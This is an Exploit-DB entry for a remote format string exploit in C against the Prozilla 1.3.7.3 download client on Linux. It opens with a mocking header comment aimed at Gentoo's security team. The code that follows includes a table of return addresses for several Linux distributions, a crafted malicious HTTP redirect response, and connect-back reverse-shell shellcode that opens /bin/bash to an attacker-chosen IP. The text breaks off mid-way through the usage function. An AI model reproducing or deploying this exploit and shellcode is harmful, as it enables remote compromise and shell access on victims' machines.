Exploit-DB #806
Description: Prozilla 1.3.7.3 - Remote Format String
Type: remote
Platform: linux
Date: 2005-02-09
Author: Serkan Akpolat

Exploit:
/*
                      ______ ________
                  ...\\___ \__\ ____/--.....
               .::.:/ / \__________ \:.::.
             .::::./ / / |/ \.::::.
                  / / | \_
                  \ ______/ _ _ _________/
                  .\___\\ \_________/ .
                  . .
              ..::....[ Electronic Souls ]....::..


  - Prozilla vs. Gentoo Security round 2 !@#

  Sometime ago there was a private exploit for Prozilla and due to some
  kiddo who randomly 0wned ppl, all ended up with a Gentoo Security Advisory.
  The exploit got released with a note to another bug in the code.
  Well the 31337 Gent00 Security Team claimed to have audited the code
  and put Prozilla back to portage as fixed.

  The buffer overflow has been fixed (wow what an effort) but the other
  bug is still there!

  Well this either means they dont know what format string bugs are and
  how to spot them (maybe you should better use automated t00lz,if you cant
  do it yourself, as they would have spotted it for sure :P), or they
  simply are lazy and dont give a fuck about your security.

  We support Anti-Disclosure, but this bug isnt of much use anymore and we
  feel like people should know that they better audit code themselfes before
  trusting a Gentoo security fix. Even a automated audit application
  would have done a better job.

  Hey Gentoo, maybe you should try and enlighten yourself about
  format bugs, instead of pretending :P

  But then again, if everyone would audit as g00d as you guys, we'd
  have a lot more fun ;)
   
*/

/*
** Prozilla <= 1.3.7.3 format string exploit
** Deicide [ElectronicSouls]
** Not reliable as the previous stack overflow exploit.
** Isnt it funny that gentoo sec. team + proz developers couldnt spot
** the format ?
** Homepage: www.siyahsapka.org || deicide.siyahsapka.org
**/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#define PORT 8080
#define MAX_RESPONSE 2048
#define TRUE 1

struct {
    char *dist;
    unsigned int ret;
} targets[]= {
        { "Debian - proz 1.3.7.3" , 0x0805e640 },
        { "Debian 3.0 - proz 1.3.6.x" , 0x0805d638 },
        { "Gentoo - proz 1.3.7.3" , 0x0805d8f8 },
        { "Gentoo - proz 1.3.7.3" , 0x0805d63c },
        { "Slack 10 - proz 1.3.7.3" , 0x0805e6e0 },
        { "RedHat 9.0 - proz 1.3.7.3" , 0x0805d268 }
};


char packet_start[]=\
"HTTP/1.1 301 Moved permanently\r\n"
"Location: http://A";

char packet_end[]=\
"\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";


char real_response[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://blahblahblah.com/movie.wmv\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";


/* Shellcode with no control character.
** Nop's in the shellcode will be patched for attacker defined ip port
** at runtime.
*/
unsigned char shellcode[] = {
  /* write(1,"\n\n\n\n",4) 0x31 times */
  0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
  0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
  0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
  0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
  /* write(1,"\n\n\nEnd of file while parsing header",38);*/
  0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
  0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
  0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
  0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
  0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
  0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
  /* fork(); */
  0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
  /* If we are parent exit(?) */
  0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
  0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
  0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
  0xfe, 0xc0, 0x43, 0xcd, 0x80,
  /* setsid() */
  0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
  /* signal(SIGHUP,SIG_IGN) */
  0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
  /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
  0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
  0x80,
  /* i = connect(sock, sockaddr, 16) */
  0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
  0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
  0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
  0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
  0x4c, 0xb0, 0x66, 0xcd, 0x80,
  /* if (i != 0) jmp exit(?) */
  0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
  /* write(sd,"SSSS",4) */
  0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
  0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
  /* dup2 loop */
  0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
  0x3f, 0xcd, 0x80,
  /* execve("/bin/bash",{"bash",NULL} , NULL) */
  0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
  0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
  0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
  0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
  0x40, 0xcd, 0x80,
  /* exit(?); */
  0x31, 0xc0, 0x40, 0xcd, 0x80
};


void usage(char *progname)
{
    fprintf(stderr, "Usage: %s [-cp] [ip]\n"\
    "-t <target> \n"\
    "1- %s \n2- %s \n3- %s \n4- %s \n"\
    "5- %s \n6- %s \n"\
    "-c <ip address> connectback ip address\n"\